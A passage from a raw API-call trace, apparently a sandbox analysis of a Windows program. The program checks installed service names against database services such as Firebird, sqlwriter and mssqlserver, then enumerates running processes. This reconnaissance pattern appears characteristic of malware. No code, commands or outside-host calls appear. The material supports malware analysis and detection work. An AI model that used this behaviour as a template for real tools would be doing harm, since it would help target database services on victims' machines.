(lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0130.211] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0130.211] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0130.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0130.211] lstrlenW (lpString="PcaSvc") returned 6 [0130.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0130.211] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0130.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0130.211] lstrlenW (lpString="PlugPlay") returned 8 [0130.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0130.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0130.211] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0130.211] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0130.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0130.211] lstrlenW (lpString="Power") returned 5 [0130.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0130.211] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0130.211] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0130.211] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0130.211] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0130.211] lstrlenW (lpString="ProfSvc") returned 7 [0130.211] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0130.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0130.212] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0130.212] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0130.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0130.212] lstrlenW (lpString="RpcEptMapper") returned 12 [0130.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0130.212] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0130.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0130.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0130.212] lstrlenW (lpString="RpcSs") returned 5 [0130.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0130.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0130.212] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0130.212] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0130.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0130.212] lstrlenW (lpString="SamSs") returned 5 [0130.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0130.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0130.212] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0130.212] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0130.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0130.212] lstrlenW (lpString="Schedule") returned 8 [0130.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0130.212] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0130.212] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0130.212] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0130.212] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0130.212] lstrlenW (lpString="SecurityHealthService") returned 21 [0130.212] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0130.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0130.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0130.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0130.213] lstrlenW (lpString="SENS") returned 4 [0130.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0130.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0130.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0130.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0130.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0130.213] lstrlenW (lpString="ShellHWDetection") returned 16 [0130.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0130.213] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0130.213] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0130.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0130.213] lstrlenW (lpString="Spooler") returned 7 [0130.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0130.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0130.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0130.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0130.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0130.213] lstrlenW (lpString="SSDPSRV") returned 7 [0130.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0130.213] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0130.213] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0130.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0130.213] lstrlenW (lpString="StateRepository") returned 15 [0130.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0130.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0130.214] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0130.214] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0130.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0130.214] lstrlenW (lpString="SysMain") returned 7 [0130.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0130.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0130.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0130.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0130.214] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0130.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1078 [0130.221] Process32FirstW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0130.222] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0130.223] lstrlenW (lpString="System") returned 6 [0130.223] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0130.233] lstrlenW (lpString="smss.exe") returned 8 [0130.233] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.234] lstrlenW (lpString="csrss.exe") returned 9 [0130.234] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0130.235] lstrlenW (lpString="wininit.exe") returned 11 [0130.235] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0130.236] lstrlenW (lpString="csrss.exe") returned 9 [0130.236] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0130.236] lstrlenW (lpString="winlogon.exe") returned 12 [0130.236] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0130.237] lstrlenW (lpString="services.exe") returned 12 [0130.237] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0130.238] lstrlenW (lpString="lsass.exe") returned 9 [0130.238] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.239] lstrlenW (lpString="svchost.exe") returned 11 [0130.239] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.240] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.240] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0130.241] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0130.241] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.242] lstrlenW (lpString="svchost.exe") returned 11 [0130.242] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0130.243] lstrlenW (lpString="dwm.exe") returned 7 [0130.243] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.244] lstrlenW (lpString="svchost.exe") returned 11 [0130.244] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.244] lstrlenW (lpString="svchost.exe") returned 11 [0130.244] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.245] lstrlenW (lpString="svchost.exe") returned 11 [0130.245] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.246] lstrlenW (lpString="svchost.exe") returned 11 [0130.246] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.247] lstrlenW (lpString="svchost.exe") returned 11 [0130.247] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.248] lstrlenW (lpString="svchost.exe") returned 11 [0130.248] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.249] lstrlenW (lpString="svchost.exe") returned 11 [0130.249] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.250] lstrlenW (lpString="svchost.exe") returned 11 [0130.250] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.251] lstrlenW (lpString="svchost.exe") returned 11 [0130.251] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0130.251] lstrlenW (lpString="spoolsv.exe") returned 11 [0130.251] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.252] lstrlenW (lpString="svchost.exe") returned 11 [0130.252] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.253] lstrlenW (lpString="svchost.exe") returned 11 [0130.253] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0130.254] lstrlenW (lpString="audiodg.exe") returned 11 [0130.254] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0130.255] lstrlenW (lpString="sihost.exe") returned 10 [0130.255] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0130.256] lstrlenW (lpString="svchost.exe") returned 11 [0130.256] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.257] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.257] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0130.258] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0130.258] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0130.259] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0130.259] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0130.260] lstrlenW (lpString="explorer.exe") returned 12 [0130.260] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0130.260] lstrlenW (lpString="Memory Compression") returned 18 [0130.260] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0130.261] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0130.261] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0130.262] lstrlenW (lpString="SearchUI.exe") returned 12 [0130.262] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0130.263] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0130.263] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0130.264] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0130.264] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.265] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.265] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0130.266] lstrlenW (lpString="UsoClient.exe") returned 13 [0130.266] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0130.266] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0130.267] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0130.267] lstrlenW (lpString="msoia.exe") returned 9 [0130.267] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0130.268] lstrlenW (lpString="taskhostw.exe") returned 13 [0130.268] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0130.269] lstrlenW (lpString="msoia.exe") returned 9 [0130.269] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0130.270] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0130.270] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0130.372] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0130.372] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0130.373] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0130.373] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace.exe")) returned 1 [0130.374] lstrlenW (lpString="screensaver_fireplace.exe") returned 25 [0130.374] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xmlupperarc.exe")) returned 1 [0130.375] lstrlenW (lpString="xmlupperarc.exe") returned 15 [0130.375] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplines-scholars.exe")) returned 1 [0130.376] lstrlenW (lpString="disciplines-scholars.exe") returned 24 [0130.376] Process32NextW (in: hSnapshot=0x1078, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, 